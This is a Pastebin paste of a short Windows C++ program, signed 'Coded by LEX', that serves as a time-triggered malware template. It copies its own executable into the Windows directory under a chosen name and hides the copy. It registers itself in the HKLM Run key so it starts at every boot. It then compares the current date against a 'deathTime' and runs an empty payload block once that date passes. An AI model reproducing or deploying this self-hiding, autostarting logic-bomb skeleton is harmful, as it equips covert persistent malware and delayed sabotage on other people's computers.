SHARE
TWEET

The program that runs on the specific date

appo Dec 27th, 2013 350 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <windows.h>
  2. #include <fstream>
  3. #include <time.h>
  4.  
  5. //----------------------settings-----------------------------------------------
  6. #define SOFTNAME "\\start.exe" //file name after installation
  7. #define REGNAME "myname" //program name that will be displayed in the startup
  8. #define DAY 4            //day start program (1-31)
  9. #define MON 2            //month start program (1-12)
  10. #define YEAR 2012        //Year
  11.  
  12.  
  13.  
  14. //--------------global variables-------------------------------------------
  15. char myname[1024],windir[1024];
  16. HKEY rKey;
  17. time_t rawtime;
  18. struct tm * timeinfo,deathTime;
  19.  
  20.  
  21.  
  22. //------------------------------------------------------------------------------
  23. using namespace std;
  24. //------------------------------------------------------------------------------
  25. int WINAPI WinMain (HINSTANCE hThisInstance,
  26.                     HINSTANCE hPrevInstance,
  27.                     LPSTR lpszArgument,
  28.                     int nFunsterStil)
  29.  
  30. {
  31.     HWND hwnd;               /* This is the handle for our window */
  32.     MSG messages;            /* Here messages to the application are saved */
  33.     WNDCLASSEX wincl;        /* Data structure for the windowclass */
  34.     //--------------------------------------------------------------------------
  35.     GetModuleFileName(hThisInstance,myname,sizeof (myname));//get its location in the system
  36.     GetWindowsDirectory(windir,sizeof(windir));//get the directory where you installed Windows
  37.     strcat(windir,SOFTNAME);//add the name of the program to a directory for Windows install path to get the file
  38.    
  39.     //---------------begin to put---------------------------------------
  40.     ifstream in(windir);//try to open the file
  41.     if(!in.is_open())//if it does not open
  42.     {
  43.         in.close();//close the file, because we need
  44.    
  45.         CopyFile(myname,windir,TRUE);//copying
  46.         SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);//add attributes to the new copy
  47.        
  48.         RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &rKey);//open registry branch
  49.         RegSetValueEx(rKey, REGNAME, 0, REG_SZ, (BYTE*)(LPCTSTR)windir, 35);//writing in the open branch that we want
  50.         RegCloseKey(rKey);//close the registry key
  51.        
  52.     }
  53.     rawtime=time(NULL);//get system time
  54.     timeinfo=localtime(&rawtime);//transform the system time in the format convenient for us
  55.    
  56.     //fill data
  57.     deathTime.tm_mday=DAY;
  58.     deathTime.tm_mon=MON-1;
  59.     deathTime.tm_year=YEAR-1900;
  60.    
  61.     if(deathTime.tm_mday<=timeinfo->tm_mday&&deathTime.tm_mon<=timeinfo->tm_mon&&deathTime.tm_year<=timeinfo->tm_year)//check the date if older than the specified => execute code
  62.     {
  63.        
  64.                 //And finally, here we write our code =)
  65.  
  66.     }
  67.     return 0;
  68. }
  69.  
  70. // Coded by LEX //
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top